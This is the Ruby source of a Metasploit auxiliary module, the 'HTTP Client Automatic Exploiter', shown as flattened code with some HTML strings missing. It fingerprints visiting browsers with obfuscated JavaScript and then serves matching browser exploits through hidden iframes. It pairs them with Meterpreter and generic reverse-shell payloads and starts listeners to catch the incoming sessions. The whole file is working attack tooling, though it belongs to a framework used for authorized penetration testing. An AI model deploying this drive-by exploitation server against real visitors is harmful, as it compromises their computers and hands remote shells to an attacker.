## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## # ideas: # - add a loading page option so the user can specify arbitrary html to # insert all of the evil js and iframes into # - caching is busted when different browsers come from the same IP # - some kind of version comparison for each browser # - is a generic comparison possible? # 9.1 < 9.10 < 9.20b < 9.20 # 3.5-pre < 3.5 < 3.5.1 require 'msf/core' require 'rex/exploitation/javascriptosdetect' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP Client Automatic Exploiter', 'Version' => '$Revision$', 'Description' => %q{ This module uses a combination of client-side and server-side techniques to fingerprint HTTP clients and then automatically exploit them. }, 'Author' => [ # initial concept, integration and extension of Jerome # Athias' os_detect.js 'egypt', ], 'License' => BSD_LICENSE, 'Actions' => [ [ 'WebServer', { 'Description' => 'Start a bunch of modules and direct clients to appropriate exploits' } ], [ 'DefangedDetection', { 'Description' => 'Only perform detection, send no exploits' } ], [ 'list', { 'Description' => 'List the exploit modules that would be started' } ] ], 'PassiveActions' => [ 'WebServer', 'DefangedDetection' ], 'DefaultAction' => 'WebServer')) register_options([ OptAddress.new('LHOST', [true, 'The IP address to use for reverse-connect payloads' ]), ], self.class) register_advanced_options([ OptString.new('MATCH', [false, 'Only attempt to use exploits whose name matches this regex' ]), OptString.new('EXCLUDE', [false, 'Only attempt to use exploits whose name DOES NOT match this regex' ]), OptBool.new('DEBUG', [false, 'Do not obfuscate the javascript and print various bits of useful info to the browser', false ]), OptPort.new('LPORT_WIN32', [false, 'The port to use for Windows reverse-connect payloads, default is 3333' ]), OptPort.new('LPORT_LINUX', [false, 'The port to use for Linux reverse-connect payloads, default is 4444' ]), OptPort.new('LPORT_MAC', [false, 'The port to use for Mac reverse-connect payloads, default is 5555' ]), OptPort.new('LPORT_GENERIC', [false, 'The port to use for generic reverse-connect payloads, default is 6666' ]), ], self.class) @exploits = Hash.new @payloads = Hash.new @targetcache = Hash.new end def run if (action.name == 'list') m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{} e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$} framework.exploits.each_module do |name, mod| if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex) @exploits[name] = nil print_line name end end print_line print_status("Found #{@exploits.length} exploit modules") elsif (action.name == 'DefangedDetection') exploit() else if (!framework.db.active) warn_no_database end start_exploit_modules() if @exploits.length < 1 print_error("No exploits, check your MATCH and EXCLUDE settings") return false end exploit() end end def setup @init_js = ::Rex::Exploitation::ObfuscateJS.new @init_js << <<-ENDJS #{js_os_detect} #{js_base64} function make_xhr() { var xhr; try { xhr = new XMLHttpRequest(); } catch(e) { try { xhr = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); } } if (! xhr) { throw "failed to create XMLHttpRequest"; } return xhr; } function report_and_get_exploits(detected_version) { var encoded_detection; xhr = make_xhr(); xhr.onreadystatechange = function () { if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { eval(xhr.responseText); } }; encoded_detection = new String(); #{js_debug('navigator.userAgent+"

"')} for (var prop in detected_version) { #{js_debug('prop + " " + detected_version[prop] +"
"')} encoded_detection += detected_version[prop] + ":"; } //#{js_debug('encoded_detection + "
"')} encoded_detection = Base64.encode(encoded_detection); xhr.open("GET", document.location + "?sessid=" + encoded_detection); xhr.send(null); } function bodyOnLoad() { var detected_version = getVersion(); //#{js_debug('detected_version')} report_and_get_exploits(detected_version); } // function bodyOnLoad ENDJS opts = { 'Symbols' => { 'Variables' => [ 'xhr', 'encoded_detection', ], 'Methods' => [ 'report_and_get_exploits', 'handler', 'bodyOnLoad', ] }, 'Strings' => true, } @init_js.update_opts(opts) @init_js.update_opts(js_os_detect.opts) @init_js.update_opts(js_base64.opts) if (datastore['DEBUG']) print_status("Adding debug code") @init_js << <<-ENDJS if (!(typeof(debug) == 'function')) { function htmlentities(str) { str = str.replace(/>/g, '>'); str = str.replace(/\\n"); } } ENDJS else @init_js.obfuscate() end #@init_js << "window.onload = #{@init_js.sym("bodyOnLoad")};"; @init_html = " Loading \n" @init_html << ' " @init_html << " " @init_html << " \n" @init_html << " " # # I'm still not sold that this is the best way to do this, but random # LPORTs causes confusion when things break and breakage when firewalls # are in the way. I think the ideal solution is to have # self-identifying payloads so we'd only need 1 LPORT for multiple # stagers. # @win_lport = datastore['LPORT_WIN32'] || 3333 @lin_lport = datastore['LPORT_LINUX'] || 4444 @osx_lport = datastore['LPORT_MACOS'] || 5555 @gen_lport = datastore['LPORT_GENERIC'] || 6666 minrank = framework.datastore['MinimumRank'] || 'manual' if not RankingName.values.include?(minrank) print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})") wlog("MinimumRank invalid, ignoring", 'core', LEV_0) end @minrank = RankingName.invert[minrank] end def init_exploit(name, mod = nil, targ = 0) if mod.nil? @exploits[name] = framework.modules.create(name) else @exploits[name] = mod.new end apo = @exploits[name].class.autopwn_opts if (apo[:rank] < @minrank) @exploits.delete(name) return false end case name when %r{windows} payload='windows/meterpreter/reverse_tcp' lport = @win_lport #when %r{linux} # Some day... #payload='linux/meterpreter/reverse_tcp' #when %r{osx} # Some day... #payload='osx/meterpreter/reverse_tcp' else lport = @gen_lport payload='generic/shell_reverse_tcp' end @payloads[lport] = payload print_status("Starting exploit #{name} with payload #{payload}") @exploits[name].datastore['SRVHOST'] = datastore['SRVHOST'] @exploits[name].datastore['SRVPORT'] = datastore['SRVPORT'] # For testing, set the exploit uri to the name of the exploit so it's # easy to tell what is happening from the browser. if (datastore['DEBUG']) @exploits[name].datastore['URIPATH'] = name else @exploits[name].datastore['URIPATH'] = nil end @exploits[name].datastore['LPORT'] = lport @exploits[name].datastore['LHOST'] = @lhost @exploits[name].datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread' @exploits[name].datastore['DisablePayloadHandler'] = true @exploits[name].exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Target' => targ, 'Payload' => payload, 'RunAsJob' => true) # It takes a little time for the resources to get set up, so sleep for # a bit to make sure the exploit is fully working. Without this, # mod.get_resource doesn't exist when we need it. Rex::ThreadSafe.sleep(0.5) # Make sure this exploit got set up correctly, return false if it # didn't if framework.jobs[@exploits[name].job_id.to_s].nil? print_error("Failed to start exploit module #{name}") @exploits.delete(name) return false end return true end def start_exploit_modules() @lhost = (datastore['LHOST'] || "0.0.0.0") @js_tests = {} @noscript_tests = {} print_line print_status("Starting exploit modules on host #{@lhost}...") print_status("---") print_line m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{} e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$} framework.exploits.each_module do |name, mod| if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex) next if !(init_exploit(name)) apo = mod.autopwn_opts.dup apo[:name] = name.dup apo[:vuln_test] ||= "" if apo[:classid] # Then this is an IE exploit that uses an ActiveX control, # build the appropriate tests for it. method = apo[:vuln_test].dup apo[:vuln_test] = "" apo[:ua_name] = HttpClients::IE if apo[:classid].kind_of?(Array) # then it's many classids apo[:classid].each { |clsid| apo[:vuln_test] << "if (testAXO('#{clsid}', '#{method}')) {\n" apo[:vuln_test] << " is_vuln = true;\n" apo[:vuln_test] << "}\n" } else apo[:vuln_test] << "if (testAXO('#{apo[:classid]}', '#{method}')) {\n" apo[:vuln_test] << " is_vuln = true;\n" apo[:vuln_test] << "}\n" end end if apo[:ua_minver] and apo[:ua_maxver] ver_test = "!ua_ver_lt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_minver]}') && " + "!ua_ver_gt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_maxver]}')" elsif apo[:ua_minver] ver_test = "!ua_ver_lt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_minver]}')\n" elsif apo[:ua_maxver] ver_test = "!ua_ver_gt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_maxver]}')\n" else ver_test = "true" end test = "if (#{ver_test}) { " test << (apo[:vuln_test].empty? ? "is_vuln = true;" : apo[:vuln_test]) test << "} else { is_vuln = false; }\n" apo[:vuln_test] = test # Now that we've got all of our exploit tests put together, # organize them into requires-scripting and # doesnt-require-scripting, sorted by browser name. if apo[:javascript] && apo[:ua_name] if @js_tests[apo[:ua_name]].nil? @js_tests[apo[:ua_name]] = [] end @js_tests[apo[:ua_name]].push(apo) elsif apo[:javascript] if @js_tests["generic"].nil? @js_tests["generic"] = [] end @js_tests["generic"].push(apo) elsif apo[:ua_name] if @noscript_tests[apo[:ua_name]].nil? @noscript_tests[apo[:ua_name]] = [] end @noscript_tests[apo[:ua_name]].push(apo) else if @noscript_tests["generic"].nil? @noscript_tests["generic"] = [] end @noscript_tests["generic"].push(apo) end end end # start handlers for each type of payload [@win_lport, @lin_lport, @osx_lport, @gen_lport].each do |lport| if (lport and @payloads[lport]) print_status("Starting handler for #{@payloads[lport]} on port #{lport}") multihandler = framework.modules.create("exploit/multi/handler") multihandler.datastore['LPORT'] = lport multihandler.datastore['LHOST'] = @lhost multihandler.datastore['ExitOnSession'] = false multihandler.datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread' multihandler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Payload' => @payloads[lport], 'RunAsJob' => true) end end # let the handlers get set up Rex::ThreadSafe.sleep(0.5) print_line print_status("--- Done, found %bld%grn#{@exploits.length}%clr exploit modules") print_line require 'pp' # Sort the tests by reliability, descending. @js_tests.each { |browser,tests| tests.sort! {|a,b| b[:rank] <=> a[:rank]} } @noscript_tests.each { |browser,tests| tests.sort! {|a,b| b[:rank] <=> a[:rank]} } end def on_request_uri(cli, request) print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}") case request.uri when self.get_resource # This is the first request. Send the javascript fingerprinter and # hope it sends us back some data. If it doesn't, javascript is # disabled on the client and we will have to do a lot more # guessing. response = create_response() response["Expires"] = "0" response["Cache-Control"] = "must-revalidate" response.body = @init_html cli.send_response(response) when %r{^#{self.get_resource}.*sessid=} # This is the request for the exploit page when javascript is # enabled. Includes the results of the javascript fingerprinting # in the "sessid" parameter as a base64 encoded string. record_detection(cli, request) if (action.name == "DefangedDetection") #print_status("") response = create_response() response["Expires"] = "0" response["Cache-Control"] = "must-revalidate" response.body = "Please wait" else print_status("Responding with exploits") response = build_script_response(cli, request) end cli.send_response(response) when %r{^#{self.get_resource}.*ns=1} # This is the request for the exploit page when javascript is NOT # enabled. Since scripting is disabled, fall back to useragent # detection, which is kind of a bummer since it's so easy for the # ua string to lie. It probably doesn't matter that much because # most of our exploits require javascript anyway. print_status("Browser has javascript disabled, trying exploits that don't need it") record_detection(cli, request) response = build_noscript_response(cli, request) cli.send_response(response) else print_status("404ing #{request.uri}") send_not_found(cli) return false end end def build_noscript_response(cli, request) client_info = get_client(:host => cli.peerhost, :ua_string => request['User-Agent']) response = create_response() response['Expires'] = '0' response['Cache-Control'] = 'must-revalidate' response.body = " Loading " response.body << " " @noscript_tests.each { |browser, sploits| next if sploits.length == 0 # If get_client failed then we have no knowledge of this host, # don't assume anything about the browser. If ua_name is nil or # generic, these exploits need to be sent regardless of browser. # Either way, we need to send these exploits. if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name])) if (HttpClients::IE == browser) response.body << "\n" end end } response.body << "Please wait " response.body << " " return response end def build_script_response(cli, request) response = create_response() response['Expires'] = '0' response['Cache-Control'] = 'must-revalidate' #print_status("Client info: #{client_info.inspect}") host_info = get_host(cli.peerhost) client_info = get_client(:host => host_info, :ua_string => request['User-Agent']) js = ::Rex::Exploitation::ObfuscateJS.new # If we didn't get a client from the database, then the detection # is borked or the db is not connected, so fallback to sending # some IE-specific stuff with everything. Do the same if the # exploit didn't specify a client. Otherwise, make sure this is # IE before sending code for ActiveX checks. if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name])) # If we have a class name (e.g.: "DirectAnimation.PathControl"), # use the simple and direct "new ActiveXObject()". If we # have a classid instead, first try creating the object # with createElement("object"). However, some things # don't like being created this way (specifically winzip), # so try writing out an object tag as well. One of these # two methods should succeed if the object with the given # classid can be created. js << <<-ENDJS function testAXO(axo_name, method) { if (axo_name.substring(0,1) == String.fromCharCode(123)) { axobj = document.createElement("object"); axobj.setAttribute("classid", "clsid:" + axo_name); axobj.setAttribute("id", axo_name); axobj.setAttribute("style", "visibility: hidden"); axobj.setAttribute("width", "0px"); axobj.setAttribute("height", "0px"); document.body.appendChild(axobj); if (typeof(axobj[method]) == 'undefined') { var attributes = 'id="' + axo_name + '"'; attributes += ' classid="clsid:' + axo_name + '"'; attributes += ' style="visibility: hidden"'; attributes += ' width="0px" height="0px"'; document.body.innerHTML += ""; axobj = document.getElementById(axo_name); } } else { try { axobj = new ActiveXObject(axo_name); } catch(e) { axobj = ''; }; } #{js_debug('axo_name + "." + method + " = " + typeof axobj[method] + "
"')} if (typeof(axobj[method]) != 'undefined') { return true; } return false; } ENDJS # End of IE-specific test functions end # Generic stuff that is needed regardless of what browser was detected. js << <<-ENDJS var written_iframes = new Array(); function write_iframe(myframe) { var iframe_idx; var mybody; for (iframe_idx in written_iframes) { if (written_iframes[iframe_idx] == myframe) { return; } } written_iframes[written_iframes.length] = myframe; str = ''; str += ''; #{datastore['DEBUG'] ? "str += '

' + myframe + '

'" : ""}; document.body.innerHTML += (str); } var global_exploit_list = []; function next_exploit(exploit_idx) { if (!global_exploit_list[exploit_idx]) { return; } // Wrap all of the vuln tests in a try-catch block so a // single borked test doesn't prevent other exploits // from working. try { var test = global_exploit_list[exploit_idx].test; if (!test) { test = "true"; } else { test = "try {" + test + "} catch (e) { is_vuln = false; }; is_vuln"; } //alert("next_exploit(" + (exploit_idx).toString() + ") => " + // global_exploit_list[exploit_idx].resource + "\\n" + // test + " -- " + eval(test) //); if (eval(test)) { write_iframe(global_exploit_list[exploit_idx].resource); setTimeout("next_exploit(" + (exploit_idx+1).toString() + ")", 1000); } else { #{js_debug("'this client does not appear to be vulnerable to ' + global_exploit_list[exploit_idx].resource + '
'")} next_exploit(exploit_idx+1); } } catch(e) { next_exploit(exploit_idx+1); }; } ENDJS opts = { 'Symbols' => { 'Variables' => [ 'written_iframes', 'myframe', 'mybody', 'iframe_idx', 'is_vuln', 'global_exploit_list', 'exploit_idx', ], 'Methods' => [ 'write_iframe', 'next_exploit', ] }, 'Strings' => true, } @js_tests.each { |browser, sploits| next if sploits.length == 0 if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name])) # Make sure the browser names can be used as an identifier in # case something wacky happens to them. func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}" js << "function #{func_name}() { \n" sploits.map do |s| # get rid of newlines and escape quotes test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'") # shouldn't be any in the resource, but just in case... res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'") # Skip exploits that don't match the client's OS. if (host_info and host_info[:os_name] and s[:os_name]) next unless s[:os_name].include?(host_info[:os_name]) end js << " global_exploit_list[global_exploit_list.length] = {\n" if test and not test.empty? js << " 'test':'#{test}',\n" else js << " 'test':'is_vuln = true;',\n" end js << " 'resource':'#{res}'\n" js << " };\n" end js << "};\n" # end function exploit...() js << "#{js_debug("'exploit func: #{func_name}()
'")}\n" js << "#{func_name}();\n" # run that bad boy opts['Symbols']['Methods'].push("#{func_name}") end } js << "#{js_debug("'starting exploits
'")}\n" js << "next_exploit(0);\n" if not datastore['DEBUG'] js.obfuscate end response.body = "#{js}" return response end # consider abstracting this out to a method (probably # with a different name) of Auxiliary::Report or # Exploit::Remote::HttpServer def record_detection(cli, request) os_name = nil os_flavor = nil os_sp = nil os_lang = nil arch = nil ua_name = nil ua_ver = nil data_offset = request.uri.index('sessid=') #p request['User-Agent'] if (data_offset.nil? or -1 == data_offset) # then we didn't get a report back from our javascript # detection; make a best guess effort from information # in the user agent string. The OS detection should be # roughly the same as the javascript version on non-IE # browsers because it does most everything with # navigator.userAgent print_status("Recording detection from User-Agent: #{request['User-Agent']}") report_user_agent(cli.peerhost, request) else data_offset += 'sessid='.length detected_version = request.uri[data_offset, request.uri.length] if (0 < detected_version.length) detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version)) print_status("JavaScript Report: #{detected_version}") (os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') host = framework.db.find_or_create_host({ :host => cli.peerhost, :os_name => os_name, :os_flavor => os_flavor, :os_sp => os_sp, :os_lang => os_lang, :arch => arch }) report_client({ :host => host, :ua_string => request['User-Agent'], :ua_name => ua_name, :ua_ver => ua_ver }) report_note({ :host => host, :type => 'http_request', :data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_ver}" }) end end # If the database is not connected, use a cache instead. # This is less reliable because we're not treating different user # agents from the same IP as different hosts. if (framework.db.active) report_client(:host => cli.peerhost, :ua_string => request['User-Agent']) else warn_no_database @targetcache ||= {} @targetcache[cli.peerhost] ||= {} @targetcache[cli.peerhost][:update] = Time.now.to_i # Clean the cache rmq = [] @targetcache.each_key do |addr| if (Time.now.to_i > @targetcache[addr][:update]+60) rmq.push addr end end rmq.each {|addr| @targetcache.delete(addr) } # Keep the attributes the same as if it were created in # the database. @targetcache[cli.peerhost][:update] = Time.now.to_i @targetcache[cli.peerhost][:ua_string] = request['User-Agent'] @targetcache[cli.peerhost][:ua_name] = ua_name @targetcache[cli.peerhost][:ua_ver] = ua_ver end end # Override super#get_client to use a cache in case the database # is not available. It might be a good idea to do this by default, # essentially creating an in-memory database. The upside is that it works # if the database is broken. The downside of course is that querying from # a hash is not as simple or efficient as a database. def get_client(opts) host = opts[:host] return super || @targetcache[host] end def build_iframe(resource) ret = '' if (action.name == 'DefangedDetection') ret << "

iframe #{resource}

" else ret << "" #ret << "" end return ret end def exploit_resource(name) if (@exploits[name] && @exploits[name].respond_to?("get_resource")) #print_line("Returning '#{@exploits[name].get_resource}', for #{name}") return @exploits[name].get_resource else print_error("Don't have an exploit by that name, returning 404#{name}.html") return "404#{name}.html" end end def js_debug(msg) if datastore['DEBUG'] return "document.body.innerHTML += #{msg};" end return "" end def warn_no_database print_error("WARNING: Database is disabled, using targetcache instead.") print_error("Database support makes detection much more reliable against multiple") print_error("hosts from the same IP; type 'db_create' to enable it.") end end